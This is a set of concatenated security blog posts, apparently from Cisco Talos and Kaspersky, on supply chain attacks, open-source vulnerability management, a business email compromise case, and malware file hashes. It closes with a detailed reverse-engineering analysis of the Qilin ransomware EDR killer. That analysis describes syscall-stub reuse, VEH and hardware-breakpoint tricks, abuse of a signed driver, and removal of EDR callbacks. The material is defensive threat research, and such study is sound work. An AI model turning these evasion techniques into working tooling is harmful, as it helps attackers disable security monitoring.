In the span of just a few weeks, we have observed a dizzying array of major supply chain attacks. Prominent examples include the malicious modification of Axios, a popular HTTP client library for JavaScript, as well as cascading compromises from TeamPCP, a “chaos-as-a-service” group that injected malicious code into hijacked GitHub repositories for open-source projects, including Trivy, an open-source security scanner.

The impact of these supply chain attacks can be vast. Axios receives 100 million downloads weekly and innumerable organizations rely on the frameworks and libraries compromised by TeamPCP. The headache they pose to organizations and their security personnel is considerable as well; affected utilities can be integrated so deeply that it may be difficult to fully catalog, let alone remediate.

Although the timing, scale, and severity of these attacks can be shocking, this is not a new phenomenon. The supply chain has remained an attractive target for some time because of its fragility and the fact that a successful compromise can lead to countless additional downstream victims.

Findings from the recently published Talos 2025 Year in Review illustrate these long-standing trends. Nearly 25% of the top 100 targeted vulnerabilities we observed in 2025 affect widely used frameworks and libraries. Digging deeper into the list reveals additional insights. The React2Shell vulnerability affecting React Server Components became the top-targeted vulnerability of 2025 despite being disclosed in December, reflecting the speed at which these supply chain attacks can reach massive scale. The presence of Log4j vulnerabilities shows how deeply embedded these utilities can be and therefore how difficult it can be to reduce the attack surface. Although these particular examples represent extant vulnerabilities that can be weaponized by numerous adversaries versus a deliberate attack carried out by a single adversary, they show how impactful and disruptive threats to the supply chain can be. Follow-on attacks can range from ransomware to espionage, which is reflective of the broad swath of adversaries that carry them out — from sophisticated state-sponsored groups to teenage cyber criminals.

If we are all building on such shaky foundation, what can we do to keep safe? After all, it certainly seems dire when a tool such as Trivy that we could normally use to scan for supply chain vulnerabilities becomes compromised itself. But there are concrete steps we can take to improve our security posture.

As highlighted in the Year in Review, protecting identity is key. This includes securing CI/CD pipelines to prevent these types of compromises from occurring in the first place, as well as limiting the impact and lateral movement of an adversary should they obtain access to a downstream victim.

In addition, organizations must try to the best of their abilities to inventory the software libraries and frameworks they employ, stay informed of security incidents, and respond rapidly to implement patching and other mitigations.

Just as supply chain attacks are evergreen, so too is the efficacy of security fundamentals, such as segmentation, robust logging, multi-factor authentication (MFA), and the implementation of emergency response plans.

As trust continues to break down, the only viable solution may be to double down on vigilance. Since this recent spate of attacks represents a trend that will likely only grow in intensity and breadth, the time for action and planning is now.

Coverage

Below, find a sample of the some of the recent coverage we offer to protect against these threats:

ClamAV:
Txt.Trojan.TeamPCP-10059839-0

Txt.Trojan.TeamPCP-10059839-0

Behavioral Protections:
LiteLLM Supply Chain Compromise – alerts during installation of compromised packages

Cisco Talos Blog – ​Read More

As we already talked in a previous post, modern software development is practically unthinkable without the use of open-source components. But in recent years the associated risks have become increasingly diverse, complex, and numerous. When, first, vulnerabilities affect a company’s infrastructure and code faster than they’re remediated; second, data is unreliable and incomplete; and third, malware may be lurking within popular components, it’s not enough to simply scan version numbers and toss fix-it tickets at the IT team. Vulnerability management must be expanded to cover software download policies, guardrails for AI assistants, and the entire software build pipeline.

A trusted pool of open-source components

The main part of the solution is to prevent the use of vulnerable and malicious code. The following measures should be implemented:

• Having an internal repository of artifacts. The sole source of components for internal development needs to be a unified repository to which components are admitted only after a series of checks.
• Performing rigorous component screening. These include checks of: known versions of the component, known vulnerable and malicious versions, publication date, activity history, and the reputation of the package and its authors. Scanning the entire contents of the package, including build instructions, test cases, and other auxiliary data, is mandatory. To filter the registry during ingestion, use specialized open-source scanners or a comprehensive cloud workload security solution.
• Running dependency pinning. Build processes, AI tools, and developers mustn’t use templates (such as “latest”) when specifying versions. Project builds need to be based on verified versions. At the same time, pinned dependencies must be regularly updated to the latest verified versions that maintain compatibility and are free of known vulnerabilities. This significantly reduces the risk of supply chain attacks through the compromise of a known package.

Improving vulnerability data

To identify vulnerabilities more effectively and prioritize them properly, an organization needs to establish several IT and security processes:

• Vulnerability data enrichment. Depending on the organization’s needs, this is needed either to enrich information by combining data from NVD, EUVD, BDU, GitHub Advisory Database, and osv.dev, or to purchase a commercial vulnerability intelligence feed where the data is already aggregated and enriched. In either case, it’s worth additionally monitoring threat intelligence feeds to track real-world exploitation trends and gain an insight into the profile of attackers targeting specific vulnerabilities. Kaspersky provides a specialized data feed specifically focused on open-source components.
• In-depth software composition analysis. Specialized software composition analysis (SCA) tools allow for the correct navigation of the dependency chain in open-source code to fully inventory the libraries being used, and discover outdated or unsupported components. Data on healthy components also comes in handy to enrich the artifact registry.
• Identifying abandonware. Even if a component isn’t formally vulnerable and hasn’t been officially declared unsupported, the scanning process should flag components that haven’t received updates for more than a year. These warrant separate analysis and potential replacement, much like EOL components.

Securing AI code and AI agents

The activities of AI systems used in coding must be wrapped in a comprehensive set of security measures — from input data filtering to user training:

• Restrictions on dependency recommendations. Configure the development environment to make sure that AI agents and assistants can only reference components and libraries from the trusted artifact registry. If these don’t contain the right tools, the model should trigger a request to include the dependency in the registry, rather than pulling something from PyPI that simply matches the description.
• Filter model outputs. Despite these restrictions, anything generated by the model must also be verified to ensure the AI code doesn’t contain outdated, unsupported, vulnerable, or made-up dependencies. This check should be integrated directly into the code acceptance process or the build preparation stage. It doesn’t replace the traditional static analysis process: SAST tools must still be embedded in the CI/CD pipeline.
• Developer training. IT and security teams must be intimately familiar with the characteristics of AI systems, their operating principles, and common errors. To achieve this, employees should complete a specialized training course tailored to their specific roles.

Systematic removal of EOL components

If a company’s systems utilize outdated open-source components, a systematic, consistent approach to addressing their vulnerabilities should be taken. There are three primary methods for doing this:

• Migration. This is the most organizationally complex and expensive method, involving the total replacement of a component followed by the adaptation, rewriting, or replacement of the applications built upon it. Deciding on a migration is especially daunting when it demands a massive overhaul of all internal code. This frequently affects core components — it’s impossible to migrate away from Node.js 14 or Python 2 easily.
• Long-term support (LTS). A dedicated support-services market exists for large-scale legacy projects. Sometimes this involves a fork of the legacy system maintained by third-party developers; in other cases, specialized teams backport patches that fix specific vulnerabilities into older, unsupported versions. Transitioning to LTS generally requires ongoing support costs, but this can still be more cost-effective than a full migration in many cases.
• Compensatory controls. Based on the results of detailed analysis, a set of wraparound security measures to mitigate the exploitation risk for the vulnerabilities within the legacy product can be made. Both the effectiveness and economic viability of this approach depend on the role of the software within the organization.

Security, IT, and business must work together to choose one of these three paths for every documented EOL or abandoned component, and reflect the made choice in the company’s asset registries and SBOMs.

Risk-based open-source vulnerability management

All of the measures listed above reduce the volume of vulnerable software and components entering the organization, and simplify the detection and remediation of flaws. Despite this, it’s impossible to eliminate every single defect: the number of applications and components is simply growing too fast.

Therefore, prioritizing vulnerabilities based on real-world risk remains essential. The risk assessment model must be expanded to account for the characteristics of open source, answering the following questions:

• Is the vulnerable code branch actually executed in the organization’s environment? A reachability analysis for discovered vulnerabilities should be performed. Many defective code snippets are never actually run within the organization’s specific implementation, making the vulnerability impossible to exploit. Certain SCA solutions can perform this analysis. This same process permits evaluating an alternative scenario: what happens if the vulnerable procedures or components are removed from the project entirely? Sometimes, this method of remediation proves to be surprisingly painless.
• Is the defect being exploited in real-world attacks? Is a PoC available? The answers to these questions are part of standard prioritization frameworks like EPSS, but tracking must be conducted across a much broader set of intelligence sources.
• Has cybercriminal activity been reported in this dependency registry, or in related and similar components? These are additional factors for prioritization.

Considering these factors allows the team to allocate resources effectively and remediate the most dangerous defects first.

Transparency is the new black

The security bar for open-source software is only going to keep on rising. Companies developing applications — even for internal use — will face regulatory pressures demanding documented and verifiable cybersecurity within their systems. According to the estimates of Sonatype experts, 90% of companies globally already fall under one or more requirements to provide evidence of the reliability of the software they use; therefore, the experts deem transparency “the currency of software supply chain security”.

By controlling the use of open-source components and applications, enriching threat intelligence, and strictly monitoring AI-driven development systems, organizations can introduce the innovations the business craves — all while clearing the high bar set by regulators and customers alike.

Kaspersky official blog – ​Read More

Welcome to this week’s edition of the Threat Source newsletter.

Last weekend, I witnessed a crime. Not a notable crime that you might read about in the press, but an unremarkable fraud attempt that nevertheless illustrates how new threat actor capabilities are emerging.

I imagine that most people reading this probably field IT questions from friends, family, and your local community. I assist with the IT provision for a local community association. It’s not a wealthy, large association — just your typical volunteer-run nonprofit like many others in the region providing community services.

This weekend, the chair emailed the treasurer requesting a bank transfer. The treasurer replied asking for the recipient’s details, and the chair promptly responded. The emails appeared authentic: correct names, a sum consistent with the association’s regular expenditure. Yet something made the treasurer pause. The reason for the transfer felt vague, and the tone seemed slightly off. They picked up the phone to verify. The chair had no idea what they were talking about. The emails and the request were an attempted fraud by a third party.

This is a variant of the business email compromise (BEC) scam in which an attacker impersonates a trusted individual and requests a fund transfer to an account they control. The attacker relies on social engineering to trick someone with payment authority to send the money. Once received, funds typically pass through money mules or compromised personal accounts before being rapidly shuffled through multiple transfers, obscuring the trail and drastically reducing the chances of recovery.

The initial email is often sent from a plausible email address. Closely scrutinising the sender’s email address may not help, since the attack may originate from the sender’s genuine account that has previously been compromised.

Historically, BEC targeted large organisations where anticipated payouts justified the time investment required to research key personnel and craft targeted attacks. The anticipated payout would more than cover the costs involved.

However, the fact that attackers are willing to target a small community organisation for a relatively small sum of money shows that the economics of the attack have changed.

AI has fundamentally altered the economics of BEC. Attackers can now reconnoitre many small organisations rapidly and cheaply. AI-generated content can be tailored to each target: referencing specific projects, using appropriate terminology, matching organisational tone.

The attack no longer needs to be labour-intensive or highly targeted. It’s become democratised, and an accessible playbook for targeting any organisation. Community associations, local charities, or small businesses can now be targeted, both because the attack is easier to execute, but also because scamming smaller sums from many victims can be as profitable as scamming large sums from few victims. Unfortunately, because this profile of organisation may never have encountered this threat before, they may be unaware and consequently more vulnerable.

For every treasurer who pauses when something doesn’t quite feel right, there are others who will accept an apparently legitimate email at face value. Protection begins with awareness of how the fraud operates. Be suspicious of any unexpected request for payment, especially if there is a sense of urgency or reasons why a phone call “isn’t possible” right now. Verify through separate channels before any transfer occurs. Call a known number for your contact, not one provided in the suspicious email. Enforce strict procurement rules that prevent any last-minute urgent payments.

Above all, recognise the democratisation of business email compromise scams. They’re no longer something that only happens to large corporations with complex supply chains and international operations. They’re for everyone now.

The one big thing 

Cisco Talos has identified a large-scale automated credential harvesting campaign that exploits React2Shell, a remote code execution vulnerability in Next.js applications (CVE-2025-55182). Using a custom framework called “NEXUS Listener,” the attackers automatically extract and aggregate sensitive data — including cloud tokens, database credentials, and SSH keys — from hundreds of compromised hosts to facilitate further malicious activity. 

Why do I care? 

This campaign uses high-speed automation to exploit React2Shell, enabling attackers to rapidly harvest high-value credentials and establish persistent, unauthenticated access. This creates significant risks for lateral movement and supply chain integrity. Furthermore, the centralized aggregation of stolen data allows attackers to map infrastructure for targeted follow-on attacks and potential data breaches. 

So now what? 

Organizations should immediately audit Next.js applications for the React2Shell vulnerability and rotate all potentially compromised credentials, including API keys and SSH keys. Enforce IMDSv2 on AWS instances and implement RASP or tuned WAF rules to detect malicious payloads. Finally, apply strict least-privilege access controls within container environments to limit the potential impact of a compromise. 

Read the full blog for coverage and indicators of compromise (IOCs).

Top security headlines of the week 

F5 BIG-IP DoS flaw upgraded to critical RCE, now exploited in the wild 
The US cybersecurity agency CISA on Friday warned that threat actors have been exploiting a critical-severity F5 BIG-IP vulnerability in the wild. (SecurityWeek) 

European Commission investigating breach after Amazon cloud account hack 
The threat actor told BleepingComputer that they will not attempt to extort the Commission using the allegedly stolen data, but intend to leak it online at a later date. (BleepingComputer) 

Google fixes fourth Chrome zero-day exploited in attacks in 2026 
As detailed in the Chromium commit history, this vulnerability stems from a use-after-free weakness in Dawn, the underlying cross-platform implementation of the WebGPU standard used by the Chromium project. (BleepingComputer) 

Anthropic inadvertently leaks source code for Claude Code CLI tool 
Anthropic quickly removed the source code, but users have already posted mirrors on GitHub. They are actively dissecting the code to understand the tool’s inner workings. (Cybernews) 

Can’t get enough Talos? 

Qilin EDR killer infection chain 
Take a deep dive into the malicious “msimg32.dll” used in Qilin ransomware attacks, which is a multi-stage infection chain targeting EDR systems. It can terminate over 300 different EDR drivers from almost every vendor in the market. 

An overview of 2025 ransomware threats in Japan 
In 2025, the number of ransomware incidents increased compared to 2024. Notably, it was a year in which attacks leveraging Qilin ransomware were observed most frequently. 

A discussion on what the data means for defenders 
To unpack the biggest Year in Review takeaways and what they mean for security teams, we brought together Christopher Marshall, VP of Cisco Talos, and Peter Bailey, SVP and GM of Cisco Security. 

When attackers become trusted users 
The latest TTP draws on 2025 Year in Review data to explore how identity is being used to gain, extend, and maintain access inside environments.

Upcoming events where you can find Talos 

• OffensiveCon (May 15 – 16) Berlin, Germany 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974 
MD5: aac3165ece2959f39ff98334618d10d9 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974 
Example Filename: d4aa3e7010220ad1b458fac17039c274_63_Exe.exe 
Detection Name: W32.Injector:Gen.21ie.1201 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
MD5: 2915b3f8b703eb744fc54c81f4a9c67f 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
Example Filename: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507.exe 
Detection Name: Win.Worm.Coinminer::1201 

SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
Example Filename: APQ9305.dll 
Detection Name: Auto.90B145.282358.in02 

SHA256: 38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55 
MD5: 41444d7018601b599beac0c60ed1bf83 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55 
Example Filename: content.js 
Detection Name: W32.38D053135D-95.SBX.TG 

SHA256: 5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe 
MD5: a2cf85d22a54e26794cbc7be16840bb1 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe 
Example Filename: a2cf85d22a54e26794cbc7be16840bb1.exe 
Detection Name: W32.5E6060DF7E-100.SBX.TG 

SHA256: e303ac1a9b378382830fc6a0b5a9574eca415d14d9282e2b4aced725db9cfbc5 
MD5: 48a4f5fb6dc4633a41e6fe0aa65b4fa6 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=e303ac1a9b378382830fc6a0b5a9574eca415d14d9282e2b4aced725db9cfbc5 
Example Filename: 48a4f5fb6dc4633a41e6fe0aa65b4fa6.exe 
Detection Name: W32.E303AC1A9B-95.SBX.TG 

Cisco Talos Blog – ​Read More

• Endpoint detection and response (EDR) tools are widely deployed and far more capable than traditional antivirus. As a result, attackers use EDR killers to disable or bypass them.
• Disabling telemetry collection (process, memory, network activity) limits what defenders can see and analyze.
• As defenders improve behavioral detection, attackers increasingly target the defense layer itself as part of their initial access or early execution stages.
• This blog provides an in-depth analysis of the malicious “msimg32.dll” used in Qilin ransomware attacks, which is a multi-stage infection chain targeting EDR systems. It can terminate over 300 different EDR drivers from almost every vendor in the market.
• We present multiple techniques used by the malware to evade and ultimately disable EDR solutions, including SEH/VEH-based obfuscation, kernel object manipulation, and various API and system call bypass methods.

---

This blog post provides an in-depth technical analysis of the malicious dynamic-link library (DLL) “msimg32.dll”, which Cisco Talos observed being deployed in Qilin ransomware attacks. The broader activities and attacks of Qilin was previously introduced and described in the blog post here.

This DLL represents the initial stage of a sophisticated, multi-stage infection chain designed to disable local endpoint detection and response (EDR) solutions present on compromised systems. Figure 1 shows a high-level diagram demonstrating the overall execution flow of this infection chain.

The first stage consists of a PE loader responsible for preparing the execution environment for the EDR killer component. This secondary payload is embedded within the loader in an encrypted form.

The loader implements advanced EDR evasion techniques. It neutralizes user-mode hooks and suppresses Event Tracing for Windows (ETW) event generation at runtime by leveraging a -like approach. Additionally, it makes extensive use of structured exception handling (SEH) and vectored exception handling (VEH) to obscure control flow and conceal API invocation patterns. This enables the EDR killer payload to be decrypted, loaded, and executed entirely in memory without triggering detection by the locally installed EDR solution.

Once active, the EDR killer component loads two helper drivers. The first driver (“rwdrv.sys”) provides access to the system’s physical memory, while the second driver (“hlpdrv.sys”) is used to terminate EDR processes. Prior to loading the second driver, the EDR killer component unregisters monitoring callbacks established by the EDR, ensuring that process termination can proceed without interference.

Overall, the malware is capable of disabling over 300 different EDR drivers across a wide range of vendors. While the campaign has been previously reported by , , and others at a higher level, this analysis focuses on previously undocumented technical details of the infection chain (e.g., the SEH/VEH tricks and the overwriting of certain kernel objects).

PE loader section (“msimg32.dll”)

The malicious DLL is most likely side-loaded by a legitimate application that imports functions from “msimg32.dll”. To preserve expected functionality, the original API calls are forwarded to the legitimate library located in “C:WindowsSystem32”.

The version of “msimg32.dll” deployed by the threat actor triggers its malicious logic from within its DllMain function. As a result, the payload is executed as soon as the legitimate application loads the DLL.

Sophos also gave some technical and historical insights into this loader in their earlier blog, in which it is referred to as Shanya.

Initialization phase

During initialization, the loader allocates a heap buffer in process memory that acts as a slot-policy table.

The size of this buffer is computed as “ntdll.dll” OptionalHeader.SizeOfCode divided by 16 ( SizeOfCode >> 4), resulting in one byte per 16-byte code slot covering the code region as defined by OptionalHeader.SizeOfCode (typically the .text range). Each entry in the table corresponds to a fixed 16-byte block relative to BaseOfCode.

The loader then iterates over the export table of “ntdll.dll”. For each exported function whose name begins with “Nt”, the virtual address of the corresponding syscall stub is resolved. From this address, a slot index is calculated as: slot_idx = (FuncVA – BaseOfCode)/16

This index is used to mark the corresponding entry in the slot-policy table. All Nt* stubs are assigned a default policy, while selected functions are explicitly marked with special policies, including:

• NtTraceEvent
• NtTraceControl
• NtAlpcSendWaitReceivePort

The result is a data-driven classification of relevant syscall stubs without modifying the executable code of “ntdll.dll”. The resulting slot-policy-table appears as follows:

The actual loader function is significantly more complex and incorporates additional obfuscation techniques, such as hash-based API resolution at runtime.

After constructing the table, the sample dynamically resolves ntdll!LdrProtectMrdata, which will be discussed in greater detail later. It then invokes this routine to change the protection of the .mrdata section to writable. This section contains the exception dispatcher callback pointer along with other critical runtime data.

Once the section is writable, the loader overwrites the dispatcher slot with its own custom exception handler. As a result, its routine is executed whenever an exception is triggered.

Runtime exception handling

This function primarily performs two tasks: handling breakpoint exceptions and single-step exceptions.

The handling of breakpoint exceptions (0xCC) is relatively straightforward. It simply resumes execution at the instruction immediately following the INT3 (0xCC). Talos is not certain why this approach was implemented. It may function as a lightweight anti-emulation, anti-analysis, or anti-sandbox mechanism for weak analysis systems, serve as groundwork for more advanced anti-debugging techniques, or act as preparation for future control-flow manipulation similar to the VEH-based logic observed in Stages 2 and 3.

The single-step portion of the function is significantly more complex and is where the previously introduced slot-policy table is utilized. ctx->ntstub_class_map points to the map buffer allocated during initialization.

Simplified the logic of the initialization and dispatch function looks like this in pseudo code. InitCtxAndPatchNtdllMrdataDispatch is the initialization function and hook_function_ExceptionCallback is the dispatch function mentioned above.

The find_syscall routine shown in Figure 7 implements a syscall recovery technique. Details can be found in the picture below. It scans both backward and forward through “ntdll.dll” to locate intact syscall stubs and identify neighboring syscalls that can be repurposed.

The simplified logic is as follows:

• Indirectly determine the target syscall number by scanning forward and backward.
• Locate a clean neighbouring stub.
• Manually load the correct syscall ID into eax.
• Transition directly to kernel mode using the syscall instruction (i.e., a syscall instruction located inside a clean neighboring stub).

By reusing a neighboring syscall stub to invoke the desired system call, the loader bypasses EDR-hooked syscalls without modifying the hooked code itself. The Windows kernel only evaluates the syscall ID in eax; it does not verify which exported API function initiated the call.

As previously mentioned, the actual code of the malware is more complex (e.g., the aforementioned runtime resolution of ntdll!LdrProtectMrdata).

The loader resolves the ntdll!LdrProtectMrdata function in a stealthy way. Instead of resolving LdrProtectMrdata by name or hash, the loader instead:

• Finds the .mrdata section in the “ntdll.dll” image
• Checks whether the current dispatcher slot pointer (dispatch_slot) lies inside .mrdata
• If it does, it uses a known exported ntdll function (RtlDeleteFunctionTable, located via hash) as an anchor
• From that anchor, it scans for a CALL rel32 instruction (0xE8) and extracts its target address
• That call target is the address of LdrProtectMrdata and stored in ctx->LdrProtectMrdata

The initialization routine described earlier also incorporates several basic anti-debugging measures. For example, it verifies whether a breakpoint has been placed on KiUserExceptionDispatcher. If such a breakpoint is detected, the process is deliberately crashed. This check is performed before the dispatcher is overwritten, which means that the resulting exception is handled by the original, default exception handler.

The loader also implements geo-fencing. It excludes systems configured for languages commonly used in post-Soviet countries. This check is performed at an early stage, and the loader terminates if a locale from the exclusion list is detected.

After initializing Stage 1, the loader proceeds to unpack the subsequent stages. It creates a paging file-backed section and maps two views of this section into the process address space. This aspect was not analyzed in depth; however, creating two views of the same section is a common malware technique used to obscure a READ-WRITE-EXECUTABLE memory region. Typically, one view is configured with WRITE access only, masking the effective executable permissions of the underlying section. This shared memory region will contain subsequent malware stages after unpacking them. This also makes it more difficult to dump the memory during analysis. When a virtual memory page is not currently present in RAM (present bit cleared), accessing it triggers a page fault. The kernel then resolves the fault (e.g., by loading the page from the pagefile into physical memory).

After creating the views, it copies and decodes bytes into this buffer. The basic block highlighted in green marks the start of this routine, while the red basic block represents the final control transfer (see Figure 17) to the decoded payload. The yellow basic block contains the decision logic that determines when execution transitions to the red basic block.

Inside the red basic block, we have the final jump into the decoded bytes of Stage 2.

Stage 2

Stage 2 (0x2470000) serves solely as a stealthy transition mechanism to transfer execution to Stage 3. As expected, all addresses referenced from this point onward, such as 0x2470000, may vary between executions of the loader, as they are dynamically allocated at runtime.

The initial part of Stage 2 is straightforward: It decodes the data stored in the memory section and then unmaps the previously mapped view. The subsequent function call constitutes the critical step: ctx->FuncPtrHookIAT((ULONGLONG)ctx->hooking_func);

This IAT-hooking routine overwrites the ExitProcess entry in the Import Address Table (IAT) of the main process (i.e., the process that loaded the malicious “msimg32.dll”).

As shown in Figure 18, execution returns normally from Stage 2, and DllMain completes without any obvious anomalies. The malicious logic is triggered later, when ExitProcess is invoked by exit_or_terminate_process during process termination. Instead of terminating the process, execution is redirected to function 0x2471000, which corresponds to Stage 3.

Stage 3

Stage 3 primarily decompresses and loads a PE image from memory that was originally embedded within the malicious “msimg32.dll”. It begins by resolving syscall stubs, which are used in subsequent code sections followed by decoding routines.

After several decoding and preparation steps, the PE image is decompressed from memory.

After the PE image has been decompressed, the final routine responsible for preparing, loading, and ultimately executing the PE can be found at 0x24A2CE7 in this run.

The fix_and_load_PE_set_VEH function begins by mapping “shell32.dll” into the process address space using NtCreateFile, NtCreateSection, and MapViewOfFile. It then overwrites the in-memory contents of “shell32.dll” with the previously loaded PE image.

After copying the embedded and decoded PE image into memory, the code manually applies base relocations.

After preparing the PE for in-memory execution, the loader employs a technique similar to Stage 2, but this time leveraging a vectored exception handler (VEH). After registering the VEH, it triggers the handler by setting a hardware breakpoint on ntdll!NtOpenSection. To indirectly invoke NtOpenSection, the loader subsequently loads a fake DLL via a call to the LdrLoadDll API. It appears that the malware author intentionally chose a name referencing a well-known security researcher, likely as a provocative touch.

After several intermediate steps, this results in a call to NtOpenSection, which triggers the previously configured hardware breakpoint and, in turn, invokes the VEH. The first time the VEH is triggered at NtOpenSection, it executes the code in Figure 29.

It modifies the “shell32.dll” name in memory to “hasherezade_[redacted].dll”, then adjusts RIP in the context record to point to the next ret instruction (0xC3) within the NtOpenSection stub and sets a new hardware breakpoint on NtMapViewOfSection. In addition, it updates the stack pointer to reference LdrpMinimalMapModule+offset, where the offset corresponds to an instruction immediately following a call to NtOpenSection inside LdrpMinimalMapModule. It then invokes NtContinue, which resumes execution at the RIP value stored in the context record (i.e., at the ret instruction). That ret instruction subsequently transfers control to the address prepared on the stack, namely LdrpMinimalMapModule+offset.

cr_1->rsp = LdrpMinimalMapModule+offset
cr_1->rip = ntdll!NtOpenSection+0x14 = ret ; jumps to <rsp> when executed

During execution of LdrpMinimalMapModule, a call to NtMapViewOfSection is made, which triggers the hardware breakpoint set by the previous routine. On this occasion, the VEH executes the code in Figure 31.

It deletes all HW breakpoints and then sets the stackpointer to an address which points to an address in LdrMinimalMapModule+offset. As expected, this is right after a call to NtMapViewOfSection. In other words, the registers in the context are overwritten like this:

ctx->rsp -> ntdll!LdrpMinimalMapModule+0x23b
ctx->rip -> ntdll!NtMapViewOfSection+0x14 = ret

When the return (ret) instruction is reached, it jumps to the address stored in the stack pointer (rsp).

The subsequent code in LdrpMinimalMapModule maps the previously restored PE image into the process address space and prepares it for execution. Finally, control returns to 0x24A3C1E, the instruction immediately following the call that originally triggered the first hardware breakpoint.

After several additional fix-up steps, the loader transfers execution to Stage 4 (i.e., the loaded PE image).

This PE file is an EDR killer capable of disabling over 300 different EDR drivers across a wide range of solutions. A detailed analysis of this component will be provided in the next section.

PE loader summary

The first three stages of this binary implement a sophisticated and complex PE loader capable of bypassing common EDR solutions by evading user-mode hooks through carefully crafted SEH and VEH techniques. While these methods are not entirely novel, they remain effective and should be detectable by properly implemented EDR solutions.

The loader decrypts and executes an embedded PE payload in memory. In this campaign, the payload is an EDR killer capable of disabling over 300 different EDR products. This component will be analyzed in detail in the next section.

EDR killer

Stage 4: Extracted EDR killer PE file

Besides initialization, the first thing the extracted PE from Stage 3 does is check again if the system locale matches a list of post-Soviet countries and, if it does, it crashes. This is another indicator that former stages are just a custom PE loader, which could be used to load any PE the adversaries want. Otherwise, doing the same check again is not logical.

The malware then attempts to elevate its privileges and load a helper driver. This also implies that the process must be executed with administrative privileges.

The “rwdrv.sys” driver is a renamed version of “ThrottleStop.sys”, originally distributed by TechPowerUp LLC and signed with a valid digital certificate. It is legitimately used by tools such as GPU-Z and ThrottleStop. This is not the first observed abuse of this ; it has previously been leveraged in several malware campaigns.

Despite its benign origin, the driver exposes highly powerful functionality and can be loaded by arbitrary user-mode applications. Critically, it implements these capabilities without enforcing meaningful security checks, making it particularly attractive for abuse.

This driver exposes a low-level hardware access interface to user mode via input/output controls (IOCTLs). It allows a user-mode application to directly interact with system hardware.

The driver implements IOCTL handlers that provide the following capabilities:

• I/O port access
  • Read from hardware ports (inb/inw/ind)
  • Write to hardware ports (outb/outw/outd)
• CPU Model Specific Register (MSR) access
  • Read MSRs (__readmsr)
  • Write MSRs (__writemsr) with limited protection against modifying critical syscall/sysenter registers
• Physical memory/MMIO access
  • Map arbitrary physical memory into kernel space using MmMapIoSpace
  • Create a user-mode mapping of the same memory using MmMapLockedPagesSpecifyCache
  • Maintain up to 256 active mappings per driver instance
  • Provide an IOCTL to release/unmap those mappings
• Direct physical memory access
  • Read physical memory values
  • Write physical memory values
• PCI configuration space access
  • Read PCI configuration registers (HalGetBusDataByOffset)
  • Write PCI configuration registers (HalSetBusDataByOffset)

Additionally, the driver tracks the number of open handles and associates memory mappings with the calling process ID.

Overall, the driver functions as a generic kernel-mode hardware access layer, exposing primitives for port I/O, MSR access, physical memory mapping, and PCI configuration operations. Such functionality is typically used by hardware diagnostic tools, firmware utilities, or low-level system utilities, but it also provides powerful primitives that could be abused if accessible from unprivileged user-mode.

The two important functions heavily used by the sample are the ability to read and write physical memory.

After loading the driver, the malware proceeds to determine the Windows version. To do so, it first resolves the required API function using a PEB-based lookup routine, a technique consistently employed throughout the sample.

The implementation parses the Process Environment Block (PEB) and locates the target module by finding the hash of its name. Then the ResolveExportByHash function takes the module base from the previously found DLL and parses its PE header to find the function that corresponds to the function hash. It can either provide the API function address as an PE offset or as a virtual address.

After a couple of initializations and checks, it gets the “rwdrv.sys” handle, followed by the EDR-related part of the sample — the kernel tricks which are responsible for avoiding, blinding, and disabling the EDR.

However, let’s have a brief look into the details. It starts with building a vector of physical memory pages. This vector will later be used in subsequent methods.

The SetMemLayoutPointer function in the if statement above leverages the NtQuerySystemInformation API function to gather the Superfetch information about the physical memory pages. It stores a pointer to this information in global variables (mem_layout_v1_ptr or mem_layout_v2_ptr). Which one is used depends on the version variable which is the argument handed over to the function. In our case, 1 is for calling the function the first time and 2 is for the second time. In other words, it brute-forces whichever version works for the Windows system it is running on.

The BuildSuperfetchPfnMetadataList function is quite large and complex. Simplified, it starts by using the mem_layout pointer to calculate the total page count.

It then ends by using NtQuerySystemInformation again to get the physical pages and their meta data to store this information in a global vector (g_PfnVector).

Back to the block from the above, the next step blinds the EDRs by deleting their callbacks for certain operations (e.g., process creation, thread creation, and image loading events).

The unregister_callbacks function iterates through a list of over 300 driver names which are stored in the sample.

It also demonstrates the overall implementation of the malware, which is also used in several other functions. It uses a certain API function to calculate an offset to the function or object it is really using — in this case, the kernel callback cng!CngCreateProcessNotifyRoutine. It also does not touch this object in the process virtual address space. It uses the driver loaded earlier (“rwdrv.sys”) to get the physical memory address of it. The logic and driver communication is implemented in the read_phy_bytes function, and the same for overwriting memory; the write_to_phy_mem function is used to handle the driver communications. The DeviceIoControlImplementation function which talks to the driver is implemented in write_to_phy_mem.

The other callback-related functions shown in Figure 44 work similarly to the one we discussed. They overwrite or unregister other EDR-specific callbacks, which were set by the EDR Mini-Filter driver.

The final part of the EDR killer begins by loading another driver (“hlpdrv.sys”).

The malware uses the driver to terminate EDR processes running on the system using the IOCTL code 0x2222008. This executes the function in the driver which is responsible for unprotecting and terminating the process.

Once terminated, EDR processes such as Windows Defender no longer run, as demonstrated in Figure 56.

Additionally, it restores the CiValidateImageHeader callback. The RestoreCiValidateImageHeaderCallback function is shown in Figure 57.

This is accomplished using the same concept we previously saw in Figure 52:

• Resolve a known API function.
• Use this function as an anchor point to locate a specific instruction within its code.
• This instruction contains a pointer in one of its operands that points to, or near, the object of interest.
• Identify the pointer to the target object within that instruction.
